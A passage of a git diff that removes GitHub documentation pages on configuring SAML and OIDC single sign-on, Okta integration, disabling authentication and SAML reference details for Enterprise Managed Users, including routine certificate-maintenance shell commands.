certificate that you noted while configuring your IdP, to verify SAML responses. -1. Under **Public Certificate**, select the **Signature Method** and **Digest Method** dropdown menus, then click the hashing algorithm used by your SAML issuer. -1. Before enabling SAML SSO for your enterprise, to ensure that the information you've entered is correct, click **Test SAML configuration**. {% data reusables.saml.test-must-succeed %} -1. Click **Save SAML settings**. - - > [!NOTE] - > After you require SAML SSO for your enterprise and save SAML settings, the setup user will continue to have access to the enterprise and will remain signed in to GitHub along with the {% data variables.enterprise.prodname_managed_users %} provisioned by your IdP who will also have access to the enterprise. - -{% data reusables.enterprise-accounts.download-recovery-codes %} - -### Enable provisioning - -After you enable SAML SSO, enable provisioning. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users). - -### Enable guest collaborators - -You can use the role of guest collaborator to grant limited access to vendors and contractors in your enterprise. Unlike enterprise members, guest collaborators only have access to internal repositories within organizations where they are a member. - -If you use Entra ID or Okta for SAML authentication, you may need to update your IdP application to use guest collaborators. For more information, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/enabling-guest-collaborators). diff --git a/content/admin/managing-iam/configuring-authentication-for-enterprise-managed-users/configuring-saml-single-sign-on-with-okta-for-enterprise-managed-users.md b/content/admin/managing-iam/configuring-authentication-for-enterprise-managed-users/configuring-saml-single-sign-on-with-okta-for-enterprise-managed-users.md deleted file mode 100644 index d4ba1cdc090a..000000000000 --- a/content/admin/managing-iam/configuring-authentication-for-enterprise-managed-users/configuring-saml-single-sign-on-with-okta-for-enterprise-managed-users.md +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Configuring SAML single sign-on with Okta for Enterprise Managed Users -shortTitle: Configure SAML on Okta -intro: 'Learn how to configure Okta for {% data variables.product.prodname_emus %} on {% data variables.product.prodname_dotcom_the_website %} or {% data variables.enterprise.data_residency_site %}.' -product: '{% data reusables.gated-features.emus %}' -versions: - ghec: '*' -topics: - - Accounts - - Authentication - - Enterprise - - SSO -redirect_from: - - /admin/identity-and-access-management/configuring-authentication-for-enterprise-managed-users/configuring-saml-single-sign-on-with-okta-for-enterprise-managed-users ---- - ->[!WARNING] ->Enabling SAML affects all members of your enterprise. -> ->{% data variables.product.prodname_emus %} doesn't provide a backup sign in URL where members of your enterprise can sign in using their regular username and password. ->If you are unable to sign in, contact {% data variables.contact.enterprise_support %} via the {% data variables.contact.contact_enterprise_portal %} for assistance. - -## Supported features - -The {% data variables.product.prodname_emu_idp_application %} application on Okta supports **SP-initiated SSO** and **IdP-initiated SSO**. - -## Configuring Okta - -1. Install the Okta application for your environment. - - * For **{% data variables.product.prodname_dotcom_the_website %}**, install the [{% data variables.product.prodname_emu_idp_application %} application](https://www.okta.com/integrations/github-enterprise-managed-user). - * For **{% data variables.enterprise.data_residency_site %}**, install the [{% data variables.product.prodname_emu_idp_application %} - {% data variables.enterprise.data_residency_site %} application](https://www.okta.com/integrations/github-enterprise-managed-user-ghe-com/). - -1. In the application on Okta, click the **Assignments** tab and assign the application to your Okta account. -1. Click the **Sign on** tab. -1. Next to "Enterprise Name," type the name of your {% data variables.enterprise.prodname_emu_enterprise %}. - - >[!NOTE] - >For example, if you sign in to `github.com/enterprises/octocorp` or `{% data variables.enterprise.data_residency_example_domain %}`, your enterprise name is `octocorp`. - -1. On the "Sign on" tab, under "SAML 2.0," click **More details**. -1. In order to configure your enterprise on {% data variables.product.github %} later, note down the following items: - - * "Sign on URL" - * "Issuer" - * "Signing certificate" - -## Configuring your enterprise - -1. Sign in to your {% data variables.enterprise.prodname_emu_enterprise %}. -1. Using the details you noted from Okta, follow the steps in [AUTOTITLE](/admin/managing-iam/configuring-authentication-for-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users#configure-your-enterprise). - -## Enabling provisioning - -After you enable SAML SSO, enable provisioning. For more information, see [AUTOTITLE](/admin/identity-and-access-management/provisioning-user-accounts-for-enterprise-managed-users/configuring-scim-provisioning-with-okta). diff --git a/content/admin/managing-iam/configuring-authentication-for-enterprise-managed-users/disabling-authentication-and-provisioning-for-enterprise-managed-users.md b/content/admin/managing-iam/configuring-authentication-for-enterprise-managed-users/disabling-authentication-and-provisioning-for-enterprise-managed-users.md deleted file mode 100644 index 2ae2372aa443..000000000000 --- a/content/admin/managing-iam/configuring-authentication-for-enterprise-managed-users/disabling-authentication-and-provisioning-for-enterprise-managed-users.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Disabling authentication for Enterprise Managed Users -allowTitleToDifferFromFilename: true -shortTitle: Disable authentication -intro: 'You can disable SAML or OIDC single sign-on (SSO) authentication for {% data variables.product.prodname_emus %} by using a recovery code to sign in as the setup user.' -versions: - ghec: '*' -type: overview -topics: - - Accounts - - Authentication - - Enterprise - - SSO -permissions: 'The setup user can disable SAML or OIDC authentication for {% data variables.product.prodname_emus %}.' -redirect_from: - - /admin/identity-and-access-management/using-enterprise-managed-users-for-iam/disabling-authentication-for-enterprise-managed-users - - /admin/identity-and-access-management/configuring-authentication-for-enterprise-managed-users/disabling-authentication-for-enterprise-managed-users - - /admin/identity-and-access-management/configuring-authentication-for-enterprise-managed-users/disabling-authentication-and-provisioning-for-enterprise-managed-users ---- - -## About disabled authentication for {% data variables.product.prodname_emus %} - -After you disable SAML or OIDC authentication for your enterprise, the following effects apply: - -* All external identities for the enterprise, and associated email addresses for {% data variables.enterprise.prodname_managed_users %}, will be removed. For more information, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise). -* All {% data variables.enterprise.prodname_managed_users %} will be suspended. The suspended accounts will not be renamed. For more information, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#viewing-suspended-members). -* All {% data variables.product.pat_generic_plural %} and SSH keys associated with {% data variables.enterprise.prodname_managed_users %} will be deleted. -* All of the external groups provisioned by SCIM will be deleted. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups). - -If you later reconfigure authentication for the enterprise, external groups must be reprovisioned via SCIM, and {% data variables.enterprise.prodname_managed_users %} must be reprovisioned before users can sign in. - -> [!NOTE] -> When a {% data variables.enterprise.prodname_managed_user %} is suspended, the user's avatar is permanently deleted. If you reprovision the user, the user will need to reupload their avatar. - -If you want to migrate to a new identity provider (IdP) or tenant rather than disabling authentication entirely, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/migrating-your-enterprise-to-a-new-identity-provider-or-tenant). - -## Disabling authentication - -> [!WARNING] -> Disabling authentication and provisioning will prevent your enterprise's {% data variables.enterprise.prodname_managed_users %} from signing in to access your enterprise on {% data variables.product.github %}. - -{% data reusables.emus.sign-in-as-setup-user %} -1. Attempt to access your enterprise account, and use a recovery code to bypass SAML SSO or OIDC. For more information, see [AUTOTITLE](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/accessing-your-enterprise-account-if-your-identity-provider-is-unavailable). -{% data reusables.enterprise-accounts.access-enterprise-emu %} -{% data reusables.enterprise-accounts.identity-provider-tab %} -{% data reusables.enterprise-accounts.sso-configuration %} -1. Next to "SAML single sign-on" or "OIDC single sign-on", click to deselect **SAML single sign-on** or **OIDC single sign-on**. -1. To confirm, click **Disable SAML single sign-on** or **Disable OIDC single sign-on**. diff --git a/content/admin/managing-iam/configuring-authentication-for-enterprise-managed-users/finding-the-object-id-for-your-entra-oidc-application.md b/content/admin/managing-iam/configuring-authentication-for-enterprise-managed-users/finding-the-object-id-for-your-entra-oidc-application.md deleted file mode 100644 index fad50bdb5ddf..000000000000 --- a/content/admin/managing-iam/configuring-authentication-for-enterprise-managed-users/finding-the-object-id-for-your-entra-oidc-application.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Finding the object ID for your Entra OIDC application -shortTitle: Find ID for Entra OIDC app -intro: 'Learn how to find the object ID associated with your {% data variables.product.prodname_emus %} OIDC app.' -product: '{% data reusables.gated-features.emus %}' -versions: - feature: oidc-for-emu -topics: - - Accounts - - Authentication - - Enterprise - - SSO -redirect_from: - - /admin/identity-and-access-management/configuring-authentication-for-enterprise-managed-users/finding-the-object-id-for-your-entra-oidc-application ---- - -You can adjust the lifetime of a session, and how often a managed user account needs to reauthenticate with your IdP, by changing the lifetime policy property of the ID tokens issued for {% data variables.product.prodname_dotcom %} from your IdP. The default lifetime is one hour. - -You will need the object ID associated with your {% data variables.product.prodname_emus %} OIDC app to complete these steps. You can find this ID in the Microsoft Entra ID admin center or by using the Microsoft Graph Explorer. - -Once you have your object ID, you must use the Microsoft Graph API to configure and assign a lifetime policy to that ID token. See [Configure token lifetime policies](https://learn.microsoft.com/en-us/entra/identity-platform/configure-token-lifetimes#create-a-policy-and-assign-it-to-a-service-principal) in the Microsoft documentation. - -For help completing these steps or configuring the OIDC session lifetime for your IdP, contact [Microsoft Support](https://support.microsoft.com/). - -## Using Microsoft Entra ID admin center to find your object ID - -You can use the Microsoft Entra ID admin center UI to view the object ID associated with your {% data variables.product.prodname_emus %} OIDC app. - -1. Log in to the [Microsoft Entra ID admin center](https://entra.microsoft.com/). -1. In the left sidebar under "Applications", click **Enterprise applications**. -1. Search for the **GitHub Enterprise Managed User (OIDC)** app. The application ID will be `12f6db80-0741-4a7e-b9c5-b85d737b3a31`. -1. Copy the **Object ID** value. - -## Using Microsoft Graph Explorer to find your object ID - -You can use the [Microsoft Graph Explorer](https://developer.microsoft.com/en-us/graph/graph-explorer) to view the object ID associated with your {% data variables.product.prodname_emus %} OIDC app. - -1. Log in to the [Microsoft Graph Explorer](https://developer.microsoft.com/en-us/graph/graph-explorer) tenant that has your OIDC app. -1. To view the object ID (`id` in Microsoft Graph) for your {% data variables.product.prodname_emus %} OIDC app, run the following query. - - Request Method: `GET` - - URL: - `https://graph.microsoft.com/v1.0/servicePrincipals?$filter=appId eq '12f6db80-0741-4a7e-b9c5-b85d737b3a31'&$select=id,appId,appDisplayName` - - Example response: - - ```json - { - "@odata.context": "https://graph.microsoft.com/v1.0/$metadata#servicePrincipals(id,appId,appDisplayName)", - "value": [ - { - "id": "c8162c97-32ff-406d-85d3-cc372e3e8384", - "appId": "12f6db80-0741-4a7e-b9c5-b85d737b3a31", - "appDisplayName": "GitHub Enterprise Managed User (OIDC)" - } - ] - } - ``` diff --git a/content/admin/managing-iam/configuring-authentication-for-enterprise-managed-users/index.md b/content/admin/managing-iam/configuring-authentication-for-enterprise-managed-users/index.md deleted file mode 100644 index e3df8f5b7165..000000000000 --- a/content/admin/managing-iam/configuring-authentication-for-enterprise-managed-users/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Configuring authentication for Enterprise Managed Users -shortTitle: Authentication for managed users -product: '{% data reusables.gated-features.emus %}' -intro: 'You can decide whether people use SAML or OIDC to authenticate, learn about support for conditional access policy, or disable authentication for your {% data variables.enterprise.prodname_emu_enterprise %}.' -versions: - ghec: '*' -topics: - - Enterprise - - Accounts - - Authentication -children: - - /configuring-saml-single-sign-on-for-enterprise-managed-users - - /configuring-oidc-for-enterprise-managed-users - - /configuring-saml-single-sign-on-with-okta-for-enterprise-managed-users - - /finding-the-object-id-for-your-entra-oidc-application - - /about-support-for-your-idps-conditional-access-policy - - /disabling-authentication-and-provisioning-for-enterprise-managed-users -redirect_from: - - /admin/identity-and-access-management/configuring-authentication-for-enterprise-managed-users ---- diff --git a/content/admin/managing-iam/iam-configuration-reference/index.md b/content/admin/managing-iam/iam-configuration-reference/index.md deleted file mode 100644 index ba5411c9da5e..000000000000 --- a/content/admin/managing-iam/iam-configuration-reference/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: IAM configuration reference -intro: 'You can view reference information about configuration of authentication {% ifversion ghec %}and provisioning for your enterprise{% elsif ghes %}for {% data variables.location.product_location %}{% endif %}.' -versions: - ghec: '*' - ghes: '*' -topics: - - Accounts - - Authentication - - Enterprise - - Identity -children: - - /saml-configuration-reference - - /username-considerations-for-external-authentication -redirect_from: - - /admin/identity-and-access-management/iam-configuration-reference ---- - diff --git a/content/admin/managing-iam/iam-configuration-reference/saml-configuration-reference.md b/content/admin/managing-iam/iam-configuration-reference/saml-configuration-reference.md deleted file mode 100644 index 01656e610954..000000000000 --- a/content/admin/managing-iam/iam-configuration-reference/saml-configuration-reference.md +++ /dev/null @@ -1,178 +0,0 @@ ---- -title: SAML configuration reference -shortTitle: SAML reference -intro: 'You can see SAML metadata for {% ifversion ghec %}your organization or enterprise{% elsif ghes %}{% data variables.location.product_location %}{% endif %}, and you can learn more about available SAML attributes and response requirements.' -versions: - ghec: '*' - ghes: '*' -type: reference -topics: - - Accounts - - Authentication - - Enterprise - - Identity - - SSO -redirect_from: - - /admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference - - /admin/identity-and-access-management/iam-configuration-reference/saml-configuration-reference ---- - -## About SAML configuration - -To use SAML single sign-on (SSO) for authentication to {% data variables.product.github %}, you must configure both your external SAML identity provider (IdP) and {% ifversion ghes %}{% data variables.location.product_location %}{% elsif ghec %}your enterprise or organization on {% data variables.product.github %}{% endif %}. In a SAML configuration, {% data variables.product.github %} functions as a SAML service provider (SP). For more information about authentication for your enterprise, see [AUTOTITLE](/admin/identity-and-access-management/understanding-iam-for-enterprises/about-identity-and-access-management#authentication-methods). - - {% data variables.product.github %} provides integration according to the SAML 2.0 specification. For more information, see the [SAML Wiki](https://wiki.oasis-open.org/security) on the OASIS website. - -You must enter unique values from your SAML IdP when configuring SAML SSO for {% data variables.product.github %}, and you must also enter unique values from {% data variables.product.github %} on your IdP. - -## SAML metadata - -{% ifversion ghec %} - -The SP metadata for {% data variables.product.prodname_ghe_cloud %} is available for either organizations or enterprises with SAML SSO. {% data variables.product.github %} uses the `urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST` binding. - -If you use {% data variables.product.prodname_emus %}, you can only enable SAML SSO at the enterprise level. - -### Organizations - -You can configure SAML SSO for an individual organization in your enterprise. You can also configure SAML SSO for an organization if you use an individual organization on {% data variables.product.prodname_ghe_cloud %} and do not use an enterprise account. For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization). - -The SP metadata for an organization on {% data variables.product.github %} is available at `https://github.com/orgs/ORGANIZATION/saml/metadata`, where **ORGANIZATION** is the name of your organization on {% data variables.product.github %}. - -| Value | Other names | Description | Example | -| :- | :- | :- | :- | -| SP Entity ID | SP URL, audience restriction | The top-level URL for your organization on {% data variables.location.product_location %} | `https://github.com/orgs/ORGANIZATION` | -| SP Assertion Consumer Service (ACS) URL | Reply, recipient, or destination URL | URL where IdP sends SAML responses | `https://github.com/orgs/ORGANIZATION/saml/consume` | -| SP Single Sign-On (SSO) URL | | URL where IdP begins SSO | `https://github.com/orgs/ORGANIZATION/sso` | - -### Enterprises - -Depending on your environment, the SP metadata for an enterprise on {% data variables.product.prodname_ghe_cloud %} is available at either: - -* `https://github.com/enterprises/ENTERPRISE/saml/metadata`, where **ENTERPRISE** is the name of your enterprise -* `https://SUBDOMAIN.ghe.com/enterprises/SUBDOMAIN/saml/metadata`, where **SUBDOMAIN** is the subdomain for your enterprise - -| Value | Other names | Description | Example | -| :- | :- | :- | :- | -| SP Entity ID | SP URL, audience restriction | The top-level URL for your enterprise on {% data variables.location.product_location %} | `https://github.com/enterprises/ENTERPRISE` | -| SP Assertion Consumer Service (ACS) URL | Reply, recipient, or destination URL | URL where IdP sends SAML responses | `https://github.com/enterprises/ENTERPRISE/saml/consume` | -| SP Single Sign-On (SSO) URL | | URL where IdP begins SSO | `https://github.com/enterprises/ENTERPRISE/saml/sso` | - -{% elsif ghes %} - -The SP metadata for {% data variables.location.product_location %} is available at `http(s)://HOSTNAME/saml/metadata`, where **HOSTNAME** is the hostname for your instance. {% data variables.product.prodname_ghe_server %} uses the `urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST` binding. - -| Value | Other names | Description | Example | -| :- | :- | :- | :- | -| SP Entity ID | SP URL, audience restriction | The top-level URL for {% data variables.location.product_location_enterprise %} | `http(s)://HOSTNAME` | -| SP Assertion Consumer Service (ACS) URL | Reply, recipient, or destination URL | URL where IdP sends SAML responses | `http(s)://HOSTNAME/saml/consume` | -| SP Single Sign-On (SSO) URL | | URL where IdP begins SSO | `http(s)://HOSTNAME/sso` | - -{% endif %} - -## SAML attributes - -The following SAML attributes are available for {% data variables.product.github %}.{% ifversion ghes %} You can change the attribute names in the {% data variables.enterprise.management_console %}, with the exception of the `administrator` attribute. For more information, see [AUTOTITLE](/admin/configuration/administering-your-instance-from-the-management-console).{% endif %} - -| Name | Required | Description | -| :- | :- | :- | -| `NameID` | {% octicon "check" aria-label="Required" %} | A persistent user identifier. Any persistent name identifier format may be used. {% ifversion ghec %}If you use an enterprise with {% data variables.product.prodname_emus %}, {% endif %}{% data variables.product.github %} will normalize the `NameID` element to use as a username unless one of the alternative assertions is provided. For more information, see [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication).<br><br> > [!NOTE] It's important to use a human-readable, persistent identifier. Using a transient identifier format like `urn:oasis:names:tc:SAML:2.0:nameid-format:transient` will result in re-linking of accounts on every sign-in, which can be detrimental to authorization management. | -| `SessionNotOnOrAfter` | {% octicon "x" aria-label="Optional" %} | The date that {% data variables.product.github %} invalidates the associated session. After invalidation, the person must authenticate once again to access {% ifversion ghec %}your enterprise's resources{% elsif ghes %}{% data variables.location.product_location %}{% endif %}. For more information, see [Session duration and timeout](#session-duration-and-timeout). | -| {% ifversion ghes %} | -| `administrator` | {% octicon "x" aria-label="Optional" %} | When the value is `true`, {% data variables.product.github %} will automatically promote the user to be a {% ifversion ghes %}site administrator{% endif %}. Setting this attribute to anything but `true` will result in demotion, as long as the value is not blank. Omitting this attribute or leaving the value blank will not change the role of the user. | -| `username` | {% octicon "x" aria-label="Optional" %} | The username for {% data variables.location.product_location %}. | -| {% endif %} | -| `full_name` | {% octicon "x" aria-label="Optional" %} | {% ifversion ghec %}If you configure SAML SSO for an enterprise and you use {% data variables.product.prodname_emus %}, the{% else %}The{% endif %} full name of the user to display on the user's profile page. | -| `emails` | {% octicon "x" aria-label="Optional" %} | The email addresses for the user.{% ifversion ghes %} You can specify more than one address.{% endif %} If you sync license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}, {% data variables.product.prodname_github_connect %} uses `emails` to identify unique users across products. For more information, see [AUTOTITLE](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud). | -| `public_keys` | {% octicon "x" aria-label="Optional" %} | {% ifversion ghec %}If you configure SAML SSO for an enterprise and you use {% data variables.product.prodname_emus %}, the{% else %}The{% endif %} public SSH keys for the user. You can specify more than one key. | -| `gpg_keys` | {% octicon "x" aria-label="Optional" %} | {% ifversion ghec %}If you configure SAML SSO for an enterprise and you use {% data variables.product.prodname_emus %}, the{% else %}The{% endif %} GPG keys for the user. You can specify more than one key. | - -To specify more than one value for an attribute, use multiple `<saml2:AttributeValue>` elements. - -```xml -<saml2:Attribute FriendlyName="public_keys" Name="urn:oid:1.2.840.113549.1.1.1" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"> - <saml2:AttributeValue>ssh-rsa LONG KEY</saml2:AttributeValue> - <saml2:AttributeValue>ssh-rsa LONG KEY 2</saml2:AttributeValue> -</saml2:Attribute> -``` - -## SAML response requirements - -{% data variables.product.github %} requires that the response message from your IdP fulfill the following requirements. - -* Your IdP must provide the `<Destination>` element on the root response document and match the ACS URL only when the root response document is signed. If your IdP signs the assertion, {% data variables.product.github %} will ignore the assertion. -* Your IdP must always provide the `<Audience>` element as part of the `<AudienceRestriction>` element. The value must match your `EntityId` for {% data variables.product.github %}.{% ifversion ghes %} This value is the URL where you access {% data variables.product.github %}, such as `http(s)://HOSTNAME`.{% endif %} - - {%- ifversion ghec %} - * If you configure SAML for an organization, this value is `https://github.com/orgs/ORGANIZATION`. - * If you configure SAML for an enterprise, this URL is `https://github.com/enterprises/ENTERPRISE` or `https://SUBDOMAIN.ghe.com/enterprises/SUBDOMAIN`. - {%- endif %} -* Your IdP must provide a single assertion in the response with a digital signature. You can accomplish this by signing the `<Assertion>` element or by signing the `<Response>` element. -* Your IdP must provide a `<NameID>` element as part of the `<Subject>` element. You may use any persistent name identifier format. -* Your IdP must include the `Recipient` attribute, which must be set to the ACS URL. The following example demonstrates the attribute. - - ```xml - <samlp:Response ...> - <saml:Assertion ...> - <saml:Subject> - <saml:NameID ...>...</saml:NameID> - <saml:SubjectConfirmation ...> - <saml:SubjectConfirmationData Recipient="https://{% ifversion ghec %}github.com/enterprises/ENTERPRISE{% elsif ghes %}HOSTNAME{% endif %}/saml/consume" .../> - </saml:SubjectConfirmation> - </saml:Subject> - <saml:AttributeStatement> - <saml:Attribute FriendlyName="USERNAME-ATTRIBUTE" ...> - <saml:AttributeValue>monalisa</saml:AttributeValue> - </saml:Attribute> - </saml:AttributeStatement> - </saml:Assertion> - </samlp:Response> - ``` - -{% ifversion ghes %} - -## SAML signing certificate for AuthnRequests - -When you first set up {% data variables.product.prodname_ghe_server %} and start the instance, a self-signed SAML signing certificate is generated, separate from the IdP's SAML certificate. This certificate is used to sign SAML `AuthnRequests` sent to the IdP and is valid for ten years. It is stored at `/data/user/common/saml-sp.p12` and you can view details in base64-encoded format at `http(s)://HOSTNAME/saml/metadata`. - -If your IdP validates the SAML signing certificate, or if SAML encrypted assertions are enabled, users may face authentication issues when the certificate expires. To check the expiration date, a {% data variables.product.prodname_ghe_server %} administrator can connect to the server via SSH and run the command below. See [Connecting to the administrative shell over SSH](/admin/administering-your-instance/administering-your-instance-from-the-command-line/accessing-the-administrative-shell-ssh#connecting-to-the-administrative-shell-over-ssh). - -`sudo openssl pkcs12 -in /data/user/common/saml-sp.p12 -clcerts -nokeys -password pass: | sudo openssl x509 -noout -enddate` - -To re-generate this SAML SP signing certificate if it has expired and it's required by the IdP or encrypted assertions, a {% data variables.product.prodname_ghe_server %} administrator can run the commands below in a {% data variables.product.prodname_ghe_server %} SSH session. - ->[!NOTE] -> The `nomad` commands will be briefly disruptive to users as the `github-unicorn` service restarts. - -``` shell -# Backup the old certificate -sudo cp /data/user/common/saml-sp.p12 /data/user/common/saml-sp.p12-$(date +%d%m%Y_%H%M%S) - -saml_tempdir=$(sudo mktemp -d) -sudo openssl req -new -newkey rsa:4096 -days 3650 -nodes -x509 -sha256 -subj "/CN=github_enterprise" -keyout $saml_tempdir/saml.key -out $saml_tempdir/saml.crt -sudo openssl pkcs12 -export -inkey $saml_tempdir/saml.key -in $saml_tempdir/saml.crt -nodes -password pass: -out /data/user/common/saml-sp.p12 -sudo rm -rf $saml_tempdir - -sudo nomad stop github-unicorn -sudo nomad run -hcl1 /etc/nomad-jobs/github/unicorn.hcl -``` - -{% endif %} - -## Session duration and timeout - -To prevent a person from authenticating with your IdP and staying authorized indefinitely, {% data variables.product.github %} periodically invalidates the session for each user account with access to {% ifversion ghec %}your enterprise's resources{% elsif ghes %}{% data variables.location.product_location %}{% endif %}. After invalidation, the person must authenticate with your IdP once again. - -By default, if your IdP does not assert a value for the `SessionNotOnOrAfter` attribute, {% data variables.product.github %} invalidates a session {% ifversion ghec %}24 hours{% elsif ghes %}one week{% endif %} after successful authentication with your IdP. - -{% data variables.product.github %} will support a customized session duration if your IdP provides the option to configure a `SessionNotOnOrAfter` attribute and value{% ifversion ghes %}, and if this attribute is included in SAML responses. If your IdP does not allow a `SessionNotOnOrAfter` attribute, a site administrator can configure a custom SAML session timeout for all users on your instance by using the `ghe-config saml.default-session-expiration [seconds]` command in the administrative shell{% endif %}. - -If you define a customized session duration value less than 24 hours, {% data variables.product.github %} may prompt people to authenticate every time {% data variables.product.github %} initiates a redirect. - -{% data reusables.enterprise.ghes-user-inactivity-timeout %} - -{% ifversion ghec %} -To prevent authentication errors, we recommend a minimum session duration of 4 hours. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/troubleshooting-saml-authentication#users-are-repeatedly-redirected-to-authenticate). -{% endif %} - ->[!NOTE] For Microsoft Entra ID (previously known as Azure AD), the configurable lifetime policy for SAML tokens does not control session timeout for {% data variables.product.github %}. diff --git a/content/admin/managing-iam/iam-configuration-reference/username-considerations-for-external-authentication.md b/content/admin/managing-iam/iam-configuration-reference/username-considerations-for-external-authentication.md deleted file mode 100644 index 1fd1f5820459..000000000000 --- a/content/admin/managing-iam/iam-configuration-reference/username-considerations-for-external-authentication.md +++ /dev/null @@ -1,188 +0,0 @@ ---- -title: Username considerations for external authentication -shortTitle: Username considerations -intro: '{% ifversion ghes or ghec %}When you use {% ifversion ghes %}CAS, LDAP, or SAML for authentication{% elsif ghec %}{% data variables.product.prodname_emus %}{% endif %}, {% endif %}{% data variables.product.github %} follows certain rules to determine the username for each user account {% ifversion ghec %}in your enterprise{% elsif ghes %}on your instance{% endif %}.' -versions: - ghec: '*' - ghes: '*' -type: reference -topics: - - Accounts - - Authentication - - Enterprise - - Identity - - SSO -redirect_from: - - /admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication - - /admin/identity-and-access-management/understanding-iam-for-enterprises/username-considerations-for-external-authentication - - /admin/identity-and-access-management/iam-configuration-reference/username-considerations-for-external-authentication ---- - -{% ifversion ghec %} - -> [!NOTE] -> This article only applies to {% data variables.product.prodname_emus %}. If you use {% data variables.product.prodname_ghe_cloud %} without {% data variables.product.prodname_emus %}, usernames are created by users, not {% data variables.product.prodname_dotcom %}. - -{% endif %} - -## About usernames with external authentication - -{% ifversion ghes %} - -You can configure external authentication for {% data variables.product.prodname_ghe_server %} using CAS, LDAP, or SAML. For more information, see [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#authentication-methods-for-github-enterprise-server). - -When you use external authentication, {% data variables.location.product_location %} automatically creates a username for each person when the person signs into {% data variables.location.product_location %} through your external authentication system for the first time. - -{% elsif ghec %} - -If you use an enterprise with {% data variables.product.prodname_emus %}, members of your enterprise authenticate to access {% data variables.product.prodname_dotcom %} through your SAML identity provider (IdP). For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users) and [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#authentication-methods-for-github-enterprise-server). - -{% data variables.product.github %} automatically creates a username for each person when their user account is provisioned via SCIM. - -* To create the username, {% data variables.product.github %} normalizes an identifier provided by your IdP. -* On {% data variables.product.prodname_dotcom_the_website %}, {% data variables.product.github %} also adds an underscore and your enterprise's shortcode to the end of each username. - -If multiple identifiers are normalized into the same username, a username conflict occurs, and only the first user account is created. You can resolve username problems by making a change in your IdP so that the normalized usernames will be unique and within the 39-character limit. - -{% data reusables.enterprise-accounts.emu-only-emails-within-the-enterprise-can-conflict %} - -{% endif %} - -{% ifversion ghec %} - -## About shortcodes for {% data variables.enterprise.prodname_managed_users %} - -Each enterprise that uses {% data variables.enterprise.prodname_managed_users %} is associated with a shortcode, which is an alphanumeric string between three and eight characters. - -### Shortcodes on {% data variables.product.prodname_dotcom_the_website %} - -When you create an {% data variables.enterprise.prodname_emu_enterprise %} on {% data variables.product.prodname_dotcom_the_website %}, you choose a shortcode that will be used as the suffix for all your enterprise members' usernames. - -* The short code must be unique to your enterprise and contain no special characters. -* Choose carefully, because it is **not possible** to modify the shortcode after your {% data variables.enterprise.prodname_emu_enterprise %} has been created. - -The setup user who configures SAML SSO has a username in the format of **SHORT-CODE_admin**. For example, if your enterprise's shortcode is "octo", the setup user will be "octo_admin." - -When you provision a new user from your identity provider, the new {% data variables.enterprise.prodname_managed_user %} will have a {% data variables.product.prodname_dotcom %} username in the format of **@IDP-USERNAME_SHORT-CODE** (for example, "mona-cat_octo"). - -### Shortcodes on {% data variables.enterprise.data_residency_site %} - -If you use {% data variables.enterprise.data_residency %}, when you create an {% data variables.enterprise.prodname_emu_enterprise %} on {% data variables.enterprise.data_residency_site %}, your enterprise's shortcode is randomly generated. - -* The shortcode is **not** used as a suffix in the usernames of provisioned users. -* The only place you are likely to see the shortcode is in the username of the setup admin, which will look like `2abvd19d_admin`. - -## About normalized usernames - -Usernames are formed by normalizing the SCIM `userName` attribute value sent from the IdP. - -| Identity provider | {% data variables.product.prodname_dotcom %} username | -|-----------------------------------|----------------------| -| Microsoft Entra ID (previously known as Azure AD) | IDP-USERNAME is formed by normalizing the characters preceding the `@` character in the UPN (User Principal Name), which does not include the `#EXT#` for guest accounts. | -| Okta | IDP-USERNAME is the normalized username attribute provided by the IdP. | - -These rules may result in your IdP providing the same IDP-USERNAME for multiple users. For example, for Entra ID, the following UPNs will result in the same username: - -* `bob@contoso.com` -* `bob@fabrikam.com` -* `bob#EXT#fabrikamcom@contoso.com` -* `bob_example#EXT#fabrikamcom@contoso.com` -* `bob_example.com#EXT#fabrikamcom@contoso.com` - -This will cause a username conflict, and only the first user will be provisioned. For more information, see [Resolving username problems](#resolving-username-problems). -{% endif %} - -Usernames{% ifversion ghec %}, including underscore and short code,{% endif %} must not exceed 39 characters. - -## About username normalization - -Usernames for user accounts on {% data variables.product.prodname_dotcom %} can only contain alphanumeric characters and dashes (`-`). - -{% ifversion ghec %} -When you configure SAML authentication, {% data variables.product.github %} uses the SCIM `userName` attribute value sent from the IdP to determine the username for the corresponding user account on {% data variables.product.prodname_dotcom %}. If this value includes unsupported characters, {% data variables.product.github %} will normalize the username per the following rules. -{% elsif ghes %} -When you configure CAS, LDAP, or SAML authentication, {% data variables.product.prodname_ghe_server %} uses an identifier from the user account on your external authentication provider to determine the 